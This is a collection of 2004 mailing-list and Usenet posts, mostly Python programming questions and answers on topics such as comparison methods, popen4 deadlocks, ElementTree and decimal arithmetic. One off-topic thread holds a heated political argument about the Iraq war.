> I see this code as meaningless on python's.  

Of course it's meaningless, it cannot entirely respect the properties
which I gave and you asserted you fully understand, no matter how you
define the companion ==.  Consider three Pythons, ignore age for
simplicity without loss of generality, represent them only by (L, W)
pairs: a=(4,20) b=(5,30) c=(6,10).
Now a < b by this definition.  However neither a<c nor c<a so a==c.
Also, neither b<c nor b>c so b==c.  But then by transitivity of == it
must be a==b which conflicts with the already esablished a<b !!!

Semantically valid definitions of < can easily be obtained, e.g.

def _props(self): return self.length, self.weight, self.age
def __lt__(self, other): return self._props() < other._props()
def __eq__(self, other): return self._props() == other._props()

Thanks to Python's natural lexicographical comparisons, this is very
easy to read meaningfully: when you need to order pythons you place them
shorter-first, within a group of identical length you place them
lighter-first, within a subgroup of identical length and weight you
place them younger-first, and you consider 'equal' (it's a valid
equivalence relationship) two pythons who coincide in all three
attributes you consider.  Easy as pie.

Whether this is "meaningful" in some vague handwaving sense depends on
your application's higher purpose and the laws of nature (or business,
or whatever) that apply to the case.  Perhaps these attributes are good
predictors of a python's food intake, for example, and thus the ordering
might be very meaningful to a python-feeding application, but have
little correlation with suppleness and beauty of skin and thus would be
meaningless to a serpent-skin purse making application (but then, the
_equality_ would also be pretty doubtful...!).

Look at it another way: is alphabetically ordering people by first name
and surname "meaningful"?  Not as a predictor of pretty much anything,
and yet it's so incredibly practical and useful that it's essentially
universal among cultures using the Latin alphabet (and many others).
But that's because the proper, lexicographical rules (ensuring NON
meanigless ordering...) are applied; if you tried an AND based
comparison of firstnames and surnames, just as you did above for
pythons' attributes, THAT would be meaningless AND useless.

Quite apart from the quibbles on the meaning of the word "meaning" and
derived ones, I hope this shows you that you didn't fully grasp the
requirements -- if you did, you'd never have coded __lt__ that way.  Be
sure to code __lt__ in a way that DOES respect the requirements (most
often, plain Python comparison on tuples of significant properties is
easiest AND handiest to ensure compatibility of __eq__ and __lt__!) or
you can expect many more surprises.


> > Ah, isn't set documented to need hashable elements?  It should be.  Of
> > course, _why_ your class appears to be hashable when it defines __eq__
> > and not __hash__ I dunno -- Python should diagnose that, but it does't
> > appear to...
> 
> It is my fault too. All my classes derives from object. object do
implements __hash__
> function. I think I should raise exception if somebody tries to insert
object into
> set \ dictionary

I thought it did, if the object defines __eq__ and doesn't redefine
_hash__.  I'll look into what's going on...


Alex


From gregm-news at toadmail.com  Tue Sep 14 08:53:56 2004
From: gregm-news at toadmail.com (Greg Menke)
Date: 14 Sep 2004 08:53:56 -0400
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
	<Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com>
	<ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet>
	<4146dc2f$0$2665$61fed72c@news.rcn.com>
Message-ID: <m3sm9lvwnv.fsf@europa.pienet>


jmfbahciv at aol.com writes:

> In article <m3pt4qc57f.fsf at europa.pienet>,
>    Greg Menke <gregm-news at toadmail.com> wrote:
> >Chuck Dillon <spam at nimblegen.com> writes:
> >
> >> Antony Sequeira wrote:
> >> 
> >> > Chuck Dillon wrote:
> >> > How is that related to Saqqddam Hussqqqqqain being a jackass and us
> >> > spending 100 or whatever billions on removing him and having 1000+
> >> > of Americans + unknown number of Iraqqqqqis getting killed. How does
> >> > that help avoid
> >> > 9 qqqq  11 or are you confused between Iraqqqqqis and Saudqqqqis ?
> >> 
> >> If you reread the post that you responded to you will see it has
> >> nothing to do with Iraq.
> >> 
> >> However, to answer your question: How does regime change in Iraq help
> >> avoid another 9/11...
> >> 	1) It removes one of the states that might consider sponsing
> >> such a future attach.
> >
> >Wouldn't it have made more sense to invade Saudi Arabia? 
> 
> No.  It would have been the stupidest thing to do.  Invasion
> of Islam's holiest place would have ensure that this mess
> turned into a 100% religious war.

They're pretty convinced of that already- after all Dubya called this
a crusade from day 1.  I thought this war was about threats, not
superstition.  You wingers keep changing it around.  In what way would
invading and occupying a country that supplies, trains, funds the
terrorists who performed 9/11 be the supidest thing?  Isn't the
stupidest thing really invading a country that neither trained nor
harbored 9/11 terrorists or even had much of any weapons suitable for
attacking a neighbor country?  If we invaded Iraq simply because its
<easier>, and then back off from laying waste to whatever we want
whenever we want inside the country, then we're not really sending a
convincing message are we?  And then, if we choose to get tough and
carpet bomb any city with insurgent activity, then we become the evil
country that we're accused of being.  This is one of the faces of
quagmire & we're stuck in it.

Kicking around the weak kids does not impress another bully enough to
leave you alone, you have to beat him up.  We started doing so in
Afganistan, then blew it in Iraq.

 
> > .. Thats where
> >the terrorist money and terrorist leadership is from. 
> 
> IIRC, Hitler came from Austria.  So we should have only 
> invaded Austria to gain control of Africa and Europe?

But Hitler was a real threat to his neighbors and was occupying other
countries.  Saddam could hardly feed his own troops much less invade
anybody.  10 years ago was different, I'm not vastly fond of Dubya
Sr., but I think he did the right things in Iraq; he was a better
president than his son in all respects.

 
> > .. Iraq is chump
> >change on that account-
> 
> It's an ideal place.  It's located right in the middle of
> all potential trouble makers; its people are more educated
> than the other countries' populations so getting them
> self-supporting doesn't need a cold start.  The country
> was already an enemy who had violated terms of cease fire
> over and over and over and over and over and over ...
> again.

Are you really advocating that we invade, depose, occupy, torture and
kill all for foreign policy convience?  And what in the world makes
you think the Iraqi economy is going to be self-sufficient anytime in
the next 5 years?  Their economy was a top to bottom disaster, a new
one isn't "started", its grown.  You'll be happy pumping untold
billions of dollars into their economy over there as long as you don't
have to pay for it with taxes over here.  GOP fantasy-land.

The "violations" of the cease-fire were the equivalent of kids
throwing rocks at passing airplanes.  Big deal.  Saddam's luck was
going to run out at some point- and keeping the lid on him was VASTLY
cheaper than taking over his country.

Well, you've gotten your legally entitled revenge- I hope you like it.


> > .. heck, even Iran or Syria would've made a much
> >better target on this basis.  Or are we such bullies that we'll pick
> >the weakest kid to beat up to show how strong we are?
> 
> Yes.  It's a good plan and the cheapest.

So you're feeling pretty good about the bodycount these days.  How
many dead US soldiers and Iraqiis will slake your bloodlust?

I will look forward to your spirited defense of any country in the
world invading another simply because they can & feel like it.

Gregm


From skip at pobox.com  Tue Sep 28 14:25:13 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 28 Sep 2004 13:25:13 -0500
Subject: SimpleXMLRPCServer
In-Reply-To: <4158A28B.3050501@bellsouth.net>
References: <Ek%5d.3512$MD5.341163@news20.bellglobal.com>
	<mNqdnZDKF9l9CMXcRVn-jw@giganews.com>
	<4158A28B.3050501@bellsouth.net>
Message-ID: <16729.44169.386322.909178@montanaro.dyndns.org>


    Jeremy> ... the out-of-the-box SimpleXMLRPCServer will only handle one
    Jeremy> request at a time...  It does not spawn a thread per request.

Nor should it.  Enabling threading in an application should be an active
step taken by the programmer, not a passive step taken as a side effect of
using a particular class that doesn't mention threading.  The simplest part
of making a server threaded is mixing in SocketServer.ThreadingMixin.  Far
more work needs to be done to make it robust.

Now, should the SimpleXMLRPCServer module provide a threaded version?
Perhaps.  The default should be non-threaded however.

Skip


From mwh at python.net  Thu Sep  2 12:21:10 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 2 Sep 2004 16:21:10 GMT
Subject: read lines without the line break character at the end?
References: <opsdpjkwte433nmu@news.cisco.com>
Message-ID: <m3y8jsej62.fsf@pc150.maths.bris.ac.uk>

"Wai Yip Tung" <tungwaiyip at yahoo.com> writes:

> When I do
> 
>    for line in fp:
> 
> the line string usually has a '\n' at the end. In many cases I don't
> want  the line break character. I can trim it using
> 
>    if line.endswith('\n'): line = line[:-1]
> 
> Given I do it so frequently I wonder if there is some builtin way to
> say I  don't wnt the line break character?

No.  line.rstrip('\n') is a shorter way of trimming the newline
character, though.

I guess adding

def without_newlines(thing):
    for line in thing:
        yield line.rstrip('\n')

to your snippet collection will do.

Cheers,
mwh

-- 
  Famous remarks are very seldom quoted correctly.
                                                    -- Simeon Strunsky


From evenprimes at gmail.com  Thu Sep  9 14:53:04 2004
From: evenprimes at gmail.com (Chris Cioffi)
Date: Thu, 9 Sep 2004 14:53:04 -0400
Subject: Is except: ... pass bad style?
In-Reply-To: <pan.2004.09.09.17.56.54.316784@python.net>
References: <pan.2004.09.09.16.26.16.985806@python.net>
	<chq3vi$qb0$01$1@news.t-online.com>
	<pan.2004.09.09.17.56.54.316784@python.net>
Message-ID: <f03f4fdf04090911535c7f96a4@mail.gmail.com>

I think that the getattr option would be your best/cleanest option. 
For best results, combine with the Null object pattern.
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/68205

getattr(myobj, 'method', Null)() 

Clean, concise, and clear.  Just like most of the rest of Python. ;-)

Chris


On Thu, 09 Sep 2004 12:56:55 -0500, marduk <marduk at python.net> wrote:
> 
> Based on all the responses received thus far, I thought of a way of
> doing it without an exception:
> 
> myobj.__dict__.get('method', lambda : None)()
> 
> Which is okay if you don't care about the return value of the
> method (in my examples I'm assuming .method() just does something
> (and returns None).  But it's a lot uglier I think than the try/except
> block.
> 
> ----== Posted via Newsfeed.Com - Unlimited-Uncensored-Secure Usenet News==----
> http://www.newsfeed.com The #1 Newsgroup Service in the World! >100,000 Newsgroups
> ---= 19 East/West-Coast Specialized Servers - Total Privacy via Encryption =---
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 



-- 
Still searching for an even prime > 2!


From jmlai at uci.edu  Fri Sep 10 09:45:10 2004
From: jmlai at uci.edu (Jason Lai)
Date: Fri, 10 Sep 2004 06:45:10 -0700
Subject: Electronic voting feasibility
In-Reply-To: <otKdnctyIcclNtzcRVn-gg@giganews.com>
References: <chr77a$4gj@odak26.prod.google.com>	<-_CdnSvxZtZcPdzcRVn-iw@giganews.com>
	<mailman.3140.1094820652.5135.python-list@python.org>
	<otKdnctyIcclNtzcRVn-gg@giganews.com>
Message-ID: <chsb5a$po4$1@news.service.uci.edu>

Istvan Albert wrote:
> Jaime Wyant wrote:
> 
>> I think the negativity is well founded.  http://www.blackboxvoting.org/
> 
> 
> I was referring to the real voting not the real-electronic voting.
> 
> I can't judge whether this site speaks the truths or not but
> their tone and style is very aggressive, steamrolling and
> manipulative. Read a few sites that argue that the world
> is flat or smoking is good for your health.
> 
> Istvan.

Well, they certainly have an agenda. I wouldn't say particularly 
manipulative though, especially compared to any sort of politician. And 
I think you'll find a lot more support for this particular site than for 
the Flat Earth Society.

There are definitely issues with electronic voting, regardless of 
whether that site's contents and claims are true, and right now in the 
U.S. many of them are political rather than technological.

  - Jason


From bhoel at web.de  Sat Sep 25 18:07:53 2004
From: bhoel at web.de (Berthold Höllmann)
Date: Sun, 26 Sep 2004 00:07:53 +0200
Subject: f2py error - windows xp (F2PY-2.43.239_1806)
References: <cj4pgc$7dr$3@online.de>
Message-ID: <m2zn3eq9xi.fsf@pchoel.psh>

"M. Faust" <marfadeut at gmx.de> writes:

> Hi,
>
> after having installed F2PY-2.43.239_1806 I get the following error
> when trying to run the hello.f example from the /docs directory:
>
> f2py.py --fcompiler=compaqv -c -m hello hello.f
...
> error C2039: 'weakreflist' : is not a member of 'PyArrayObject'
...

> I'm on Windows XP with Python 2.3.4. Has anybody an idea what's going
> wrong? Thanks in advance!

It seems the latest f2py versions need NumPy 23.3 which ?ntroduces
'weakreflist' in the 'PyArrayObject' struct.

Regards
Berthold

-- 
bhoel at web.de / http://starship.python.net/crew/bhoel/


From fumanchu at amor.org  Fri Sep 17 03:14:29 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Fri, 17 Sep 2004 00:14:29 -0700
Subject: Recursive function not returning value
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EEA@exchange.hqamor.amorhq.net>

Derek Rhodes wrote:
> OK, I have a recursive function that should return a list, but doesn't
> 
> <start session>
> 
1> def test(word):
2>     if type(word) == str:
3>         print "it's a word"
4>         test([word])
5> 
6>     if type(word) == list:
7>         print "The conditional worked, see ->", word
8>         return word
9> 
10> >>>a = test('foobity')
> it's a word
> The conditional worked, see -> ['foobity']
> >>> print a
> None
> 
> </end session>
> 
> What am I missing?

I numbered your lines above so I could describe what's going on. You
call test() twice, once from the prompt (line 10), and again inside test
itself (line4). The problem is that only one of those calls gets an
explicit return value, when "test([word])" on line 4 is called, it
receives the list as you expect. But then that value is not returned out
of the first call; in fact, there is no return value for that call, and
therefore "None" is returned.

The solution:

def test(word):
    if type(word) == str:
        print "it's a word"
        return test([word])    # Added a return here

    if type(word) == list:
        print "The conditional worked, see ->", word
        return word


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From h.b.furuseth at usit.uio.no  Thu Sep  2 13:26:40 2004
From: h.b.furuseth at usit.uio.no (Hallvard B Furuseth)
Date: 02 Sep 2004 19:26:40 +0200
Subject: string.maketrans().lower()
References: <HBF.20040901ee1r@bombur.uio.no> <41353DE0.1D7D5AC5@alcyone.com>
Message-ID: <HBF.20040902bh45@bombur.uio.no>

Erik Max Francis wrote:
>Hallvard B Furuseth wrote:
>> I have a translation table from
>>   tr = string.maketrans(...)
>> and want a table which produces the same characters lowercased.
>> 
>> `tr.lower()' works - at least with Python 2.3 - but is that will
>> that remain reliable?  Or should I use something like this?
>> 
>>  string.maketrans("".join(map(chr, xrange(256))),
>>                   "".join(map(chr, xrange(256))).translate(tr).lower())
> 
> Sure.  The return value of string.maketrans is just itself a string,
> after all.

Thanks.

>> BTW, is there a simpler way to write "".join(map(chr, xrange(256)))?
> 
> You could use a list comprehension if you prefer.

map() looks clearer to me in this case.

-- 
Hallvard


From max at alcyone.com  Wed Sep  1 18:28:36 2004
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 01 Sep 2004 15:28:36 -0700
Subject: Announcing PyCs, a new Python-like language on .Net
References: 35.python-list@python.org> <1093794853.349452@news.commspeed.net>
	<mailman.2711.1094020820.5135.python-list@python.org>
	<41357372.E263DE37@alcyone.com>
	<8548c5f3.0409010533.1fed5008@posting.google.com>
	<1hhcev52r31j6.1nier31029dhk.dlg@40tude.net>
	<Pine.LNX.4.44.0409012239330.1094-100000@kleigh.nl>
Message-ID: <41364D14.3FF3E19E@alcyone.com>

Peter Kleiweg wrote:

> pycs.org doesn't seem to exist.

Perhaps that's a blessing in disguise?

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis
\__/ Can I walk with you / 'Till the day that my heart stops beating
    -- India Arie


From etos at online.no  Sun Sep 19 15:59:21 2004
From: etos at online.no (Stian)
Date: 19 Sep 2004 12:59:21 -0700
Subject: Formatting numbers with leading zeros
Message-ID: <71f6c60f.0409191159.5f9040bb@posting.google.com>

Hi, I'm sort of new to Python and I've just discovered the amazing
formatting using the % operator. One thing I can't figure out is how
to format numbers so that they get leading zeros, for example I want
the output 1x01 instead of 1x1 (used in naming my avi files of shows).
I've used this so far:

print '%sx%s'%(season,episode)

which gives the output 1x1, but I want 1x01 =p Any way to format it
using the % method?


From carribeiro at gmail.com  Fri Sep 24 10:19:48 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 24 Sep 2004 11:19:48 -0300
Subject: Call for suggestions: Declaring data entry forms using Python
	classes
In-Reply-To: <ZMK4d.32414$1d6.3661@fe1.texas.rr.com>
References: <mailman.3799.1095959172.5135.python-list@python.org>
	<ZMK4d.32414$1d6.3661@fe1.texas.rr.com>
Message-ID: <864d3709040924071944f236a3@mail.gmail.com>

On Fri, 24 Sep 2004 01:30:33 GMT, Paul Paterson
<paulpaterson at users.sourceforge.net> wrote:
> By a strange coincidence, this intermediate representation is eerily
> similar to the one used in vb2py when converting Visual Basic forms to
> Python ones (implemented in PythonCard).

I don't think it is a coincidence; I think that's because this is the
natural way to represent this structure in Python. If you look at the
way Delphi forms are stored when you choose text format (the default
for newer versions), it's strikingly similar -- just change "class"
for "object". I assume VB internals are structured in the same way.

> The intermediate representation looks like,
> 
> [...long sample...]

I think that my current code can be easily adapted for your needs. I'm
now working on a generic renderer interface. I'm figuring out how to
make it general enough  but still simple to sue. The current
implementation is already able to walk the class attributes in the
order of the original declaration, which is important to preserve some
behavior (specially the implicit tab ordering that is normally used in
GUI design).

As for your last question: yes, it's open source, I just haven't yet
figured out which license to choose from -- either BSD or LGPL, I
think. Part of the problem is that I don't have a nice host to put it
for download yet. I this point BSD would be nice -- it's too little 
code to make a fusss about it being used inside some other product --
but if the library gets bigger I tend to go towards LGPL.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From fredrik at pythonware.com  Tue Sep  7 11:47:57 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 7 Sep 2004 17:47:57 +0200
Subject: python from Java
References: <mailman.2887.1094353612.5135.python-list@python.org><YIC_c.26633$Z14.8564@news.indigo.ie><mailman.2892.1094385321.5135.python-list@python.org><H2E_c.26646$Z14.8654@news.indigo.ie>
	<1094551272.413d86e88ab2a@www-mail.usyd.edu.au>
Message-ID: <chkl3s$32a$1@sea.gmane.org>

"Ajay" <abra9823 at mail.usyd.edu.au> wrote:

>> ElementTree
>> http://effbot.org/downloads/#elementtree
>
> okay i tried the above approaches but no luck. See the problem is an XML
> parser which works on a PDA - pythonce. Now elementtree uses pyexpat
> (which  pythonce doesn't have)

that's why ElementTree ships with several alternative tree builders;
from the README:

  SimpleXMLTreeBuilder.py
        Old element tree builder for XML, based on
        xmllib, for Python versions where "expat" is
        not available

usage:

    from elementtree import ElementTree, SimpleXMLTreeBuilder

    tree = ElementTree.parse(
        source, SimpleXMLTreeBuilder.TreeBuilder()
    )

note that xmllib has problems with namespaces on some versions
of Python; see the elementtree README for details.

</F> 





From http  Fri Sep 24 19:42:41 2004
From: http (Paul Rubin)
Date: 24 Sep 2004 16:42:41 -0700
Subject: Why not FP for Money?
References: <A128D751272CD411BC9200508BC2194D053C79D9@escpl.tcp.com.ar>
	<mailman.3876.1096058910.5135.python-list@python.org>
	<1gkn9l9.17bto0f1abuxr0N%aleaxit@yahoo.com>
Message-ID: <7xoejvutce.fsf@ruckus.brouhaha.com>

aleaxit at yahoo.com (Alex Martelli) writes:
> You're probably right, but it will be nice to be able to point the
> querants to module decimal.  Backwards incompatible changes, such as
> taking a literal of 1.1 to mean a decimal rather than a float, are not
> in the cards until Python 3.0 time

That kind of change (without a top-of-file declaration like 
"import __decimal__") sounds a bit extreme even for 3.0.  However,
adding a backwards-compatible syntax ("a = 1.1d"), or a declaration
to read all literals like 1.1 as decimal, seems ok to consider.


From sam at rinkworks.com  Fri Sep 17 18:21:28 2004
From: sam at rinkworks.com (rinkworks)
Date: Fri, 17 Sep 2004 18:21:28 -0400
Subject: popen4 hanging on write
Message-ID: <191262adf5b4ad1fb774c45d66fabebc@localhost.talkaboutprogramming.com>

I'm having trouble with Popen4 locking up on me.  It appears to be
unrelated to the actual command I'm running, because I made the command
just "cat" (I'm on UNIX) to echo whatever input I sent it, and it's still
locking.  The trick is, it works for small amounts of data.  After roughly
1.5K of input, it locks up and will not write any more data to the pipe. 
I assume a buffer got full somewhere, and it's blocking the write call.

Meanwhile, I can't read the output, because if I do that, that blocks,
too.

Anybody know how to resolve this problem?  Here is my current code:

        import popen2
        pipe = popen2.Popen4("cat")
        pipe.tochild.write(data)
        pipe.tochild.close()
        output = pipe.fromchild.read()
        print output

Again, when data is just a few lines, it works, but not if it's maybe 1500
bytes or more.  No documentation I can find addresses this problem; the
above is theoretically supposed to just work.  I don't get it.

Thanks for any help anyone can give me.



From lbates at syscononline.com  Tue Sep 28 16:26:26 2004
From: lbates at syscononline.com (Larry Bates)
Date: Tue, 28 Sep 2004 15:26:26 -0500
Subject: annoying behavior
In-Reply-To: <9418be08.0409280856.9368ddf@posting.google.com>
References: <9418be08.0409280856.9368ddf@posting.google.com>
Message-ID: <daednUYeW7B2VcTcRVn-gg@comcast.com>

Elbert Lev wrote:
> # here is the problem I ran into:
> 
> class foo:
>     def __init__(self, host):
>         self.f()
>         self.r = True
>     
>     def f(self):
>         if self.r:
>             #<do something>
>             pass
>         else:
>             #<do something else>
>             pass
> 
> f = foo("1234")
> 
> #here is the output:
> 
> #Traceback (most recent call last):
> #  File "G:\MyProjects\Python\Little\inconv.py", line 16, in ?
> #    f = foo("1234")
> #  File "G:\MyProjects\Python\Little\inconv.py", line 5, in __init__
> #    self.f()
> #  File "G:\MyProjects\Python\Little\inconv.py", line 9, in f
> #    if self.r:
> #AttributeError: foo instance has no attribute 'r'
> 
> # I understand why does this happen, but, to tell the truth,
> # this feature is very annoying. 
> # Are there any plans to relax this restriction? 
> # In 3.0 :)?

Just put the lines in the correct order:

  class foo:
      def __init__(self, host):
          self.r = True
          self.f()

      def f(self):
          if self.r:
              #<do something>
              pass
          else:
              #<do something else>
              pass

  f = foo("1234")

You can't ask if self.r is True (which is what you do
in the second line of the f() method) before it actually
exists.

Larry Bates
Syscon, Inc.


From deetsNOSPAM at web.de  Thu Sep 16 06:47:16 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Thu, 16 Sep 2004 12:47:16 +0200
Subject: list/tuple to dict...
References: <20040915163909.4234ce31@gypsy.pfortin.com>
	<cia9if$v1$06$1@news.t-online.com> <mO32d.4796$VV2.1807@trndny06>
	<20040915212023.23b6fe0b@gypsy.pfortin.com>
Message-ID: <cibqvk$mrq$00$2@news.t-online.com>

Pierre Fortin wrote:

> On Wed, 15 Sep 2004 22:58:26 GMT Raymond wrote:
> 
>> [Pierre Fortin]
>> > > I'm just looking to make my code more readable and
>> > > self-documenting...
>>   . . .
>> > > osstat = todict(os.stat("%s" % path),
>> > >                 "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctim
>> > >                 e")
>> 
>> [Diez B. Roggisch]
>> > Use
>> >
>> > dict(zip(["mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime"],
>> > os.stat("%s" % path)))
> 
> What does zip() have to do with this situation...?

Uhm - its needed? 

It creates a list of pairs from the two argument lists, and dict() takes a
list of pairs of (key, value) to form a dictionary. 

-- 
Regards,

Diez B. Roggisch


From steven.bethard at gmail.com  Thu Sep 30 00:05:37 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Thu, 30 Sep 2004 04:05:37 +0000 (UTC)
Subject: constructing binary backslash-n
References: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net>
	<1f7befae04092919484211a3bb@mail.gmail.com>
	<1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net>
	<loom.20040930T054552-306@post.gmane.org>
	<150812DC-1295-11D9-9E53-000A95D49904@neosynapse.net>
Message-ID: <loom.20040930T060154-208@post.gmane.org>

Steven Arnold <stevena <at> neosynapse.net> writes:

> 
> On Sep 29, 2004, at 11:47 PM, Steven Bethard wrote:
> >>>> ('\\\\' + 'n').decode('string_escape')
> > '\\n'
> >
> > (I just learned this today in an earlier thread...)
> 
> Yes!  Perfect.  I assume your backslashes got screwed up like my 
> earlier message.

Weird, yes.  If I look at my email at gmane or in my newsgroups through 
Thunderbird, I see only <backslash><backslash> (that is, just two)...  Seems 
like maybe there's something weird in your reader -- I can see that your 
forward of my text does have the 4 backslashes.

Anyway, I'm glad it helped.  One of the things I love about this newsgroup is 
that every time I learn something new, I immediately find a use for it.  =)

Steve




From a at a.invalid  Wed Sep 15 03:31:08 2004
From: a at a.invalid (Timo Virkkala)
Date: Wed, 15 Sep 2004 07:31:08 GMT
Subject: The pythonic approach
In-Reply-To: <414656ab$0$4777$a729d347@news.telepac.pt>
References: <414656ab$0$4777$a729d347@news.telepac.pt>
Message-ID: <0dS1d.52$AA4.38@read3.inet.fi>

def thisReallyWorks(x):
     if x == "6$":
         return "$10 000"
     else:
         return x

# or maybe

investments = {"6$": "$10 000"}
def thisReallyWorks(x):
     return investments.get(x, x)


-- 
Timo "WT" Virkkala

   "In the battle between you and the world, bet on the world."


From aleaxit at yahoo.com  Tue Sep 14 10:50:26 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 16:50:26 +0200
Subject: Find first in sequence (simple question)
References: <ci4s2o$irv$1@sea.gmane.org>
	<mailman.3260.1095105821.5135.python-list@python.org>
Message-ID: <1gk43pl.1ra5lujawd9lnN%aleaxit@yahoo.com>

Neal D. Becker <ndbecker2 at verizon.net> wrote:
   ...
> I really was looking for a more general "find_first" function, that would
> find the first occurance in a sequence meeting some predicate, with
> short-circuit evaluation (not evaluating the function for every element
> first).

Steven Bethard's suggestion does generalize nicely:

def find_first(seq, pred):
    return itertools.ifilter(pred, seq).next()

This gives you the first _item_ in seq that satisfies pred (or raises
StopIteration if none does -- it's easy to wrap a try/except around the
return statement to change exception, return a default value, whatever).

If you want the _index_ of that first item it's a bit worse...:

def find_first_index(seq, pred):
    def aux_pred((index, item)): return pred(item)
    return itertools.ifilter(aux_pred, enumerate(seq)).next()[0]


Alex


From tjreedy at udel.edu  Thu Sep  9 22:51:46 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 9 Sep 2004 22:51:46 -0400
Subject: found bakups of code I never asked for ---
References: <chq9fu$9ii$1@newsg3.svr.pol.co.uk><mailman.3118.1094760162.5135.python-list@python.org>
	<chqg54$9m$1@newsg2.svr.pol.co.uk>
Message-ID: <chr4s7$3dg$1@sea.gmane.org>


"Anon" > : You should/can run Accessories/System Tools/Disk Cleanup 
periodically with
> : 'clear temp files' checked.  Will solve more problems than just this.
> :
> : TJR
>
>
> So it's not a python functionality, but a windows one??

Many Windows programs to leave junk in the Temp directory.  That is why 
Disk Cleanup has the option to clean that directory.  So changing the 
behavior of PythonWin to your liking will not change anything else ;-)  You 
should also select Delete Temporary Internet Files.  I suspect that too few 
users of Outlook Express know that it copies download media files of at 
least some types to a subdirectory of that directory and does *not* delete 
that copy when one does 'delete all downloaded files'.  I just check 
everything in Disk Cleanup and have never had a problem.  I also defragment 
regularly.

Terry J.Reedy





From oliver.schoenborn at utoronto.ca  Mon Sep 27 16:07:03 2004
From: oliver.schoenborn at utoronto.ca (Humpdydum)
Date: Mon, 27 Sep 2004 16:07:03 -0400
Subject: batch pretty (color) print of python code?
Message-ID: <cj9rt8$l3k$1@nrc-news.nrc.ca>

Any freeware/open-source that does that? Windows- OR Linux-based is fine. On
Linux it would be s/t like "pyprint -r *.py > out.ps" where -r indicates
recursive. Done a search on google and nothing solid comes up. So far I've
been using Boa's print feature, which means one file at a time, tedious.
Thanks,
Oliver




From grante at visi.com  Fri Sep  3 00:23:13 2004
From: grante at visi.com (Grant Edwards)
Date: 03 Sep 2004 04:23:13 GMT
Subject: OT: DeviceNet via Python (was Re: It's in Python. It just
	_works_!)
References: <4137b3ed$0$65570$a1866201@newsreader.visi.com>
	<9JmdnQgSR7k-eqrcRVn-sA@powergate.ca>
Message-ID: <4137f1b1$0$8083$a1866201@newsreader.visi.com>

On 2004-09-03, Peter Hansen <peter at engcorp.com> wrote:
> Grant Edwards wrote:
>
>> A few months back I wrote a sort of a strip-chart recorder
>> program that talks DeviceNet to a measurement widget and plots
> ...
>
> Grant, could you say anything about what gadgets were involved
> that let you talk to DeviceNet with Python?  Did it have a
> serial port, or talk TCP directly, or something else?

I use a USB/CAN interface from PEAK-System Technik GmbH.
[Warning: rather sucky website designed by somebody obsessed
with frames] http://www.peak-system.com/

In the US it's distributed by Grid Connect:

http://www.gridconnect.com/usbcanin.html

I don't have the Python code talking to it under Windows yet
(that's tomorrow's project).  Apprently it doesn't come with a
stand-alone Windows device driver, but rather a DLL that you
make calls into to send/receive frames.  There are VB example
programs, so I should be able to get Python to talk to it.

In the meantime, the windows app has been talking TCP/IP to a
Linux machine that has the CAN/USB interface plugged into it.
The Linux machine runs a transparent multiplexor program that
allows multiple programs to talk to the USB CAN interface
simultaneously via TCP/IP and/or Unix domain sockets.

[Actually, the windows app was running under WinMe inside a
Win4Lin virtual machine under Linux and talking TCP/IP to the
host Linux OS which has the USB/CAN adapter plugged into it.]

FYI, the Linux driver for PEAK products has two API's for
sending and receiving CAN frames: one uses newline-terminated
ASCII hex strings and the normal read()/write() calls.  That's
the one I'm currently using, since it's so easy to multiplex
access and troubleshoot.

If you want to reduce overhead, you can make ioctl() calls to
send/receive frames in binary structures, but that would mean
that my multiplexor program would need to be smarter.  Right
now the multiplexor has no clue what the data means or what the
device is, it just shovels newline-terminated strings back and
forth between a file descriptor and some sockets.

-- 
Grant Edwards                   grante             Yow!  I want a VEGETARIAN
                                  at               BURRITO to go... with
                               visi.com            EXTRA MSG!!


From deetsNOSPAM at web.de  Fri Sep  3 06:54:32 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Fri, 03 Sep 2004 12:54:32 +0200
Subject: compiling to python byte codes
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
	<4137a850$1@news.unimelb.edu.au>
	<pan.2004.09.02.20.00.45.714844@jerf.org>
	<4137bf73$1@news.unimelb.edu.au>
	<pan.2004.09.02.22.49.36.55719@jerf.org>
	<4137e739$1@news.unimelb.edu.au>
	<ch8r2b$mva$1@news.service.uci.edu>
	<4137f79f$1@news.unimelb.edu.au>
Message-ID: <ch9ih7$erq$02$1@news.t-online.com>

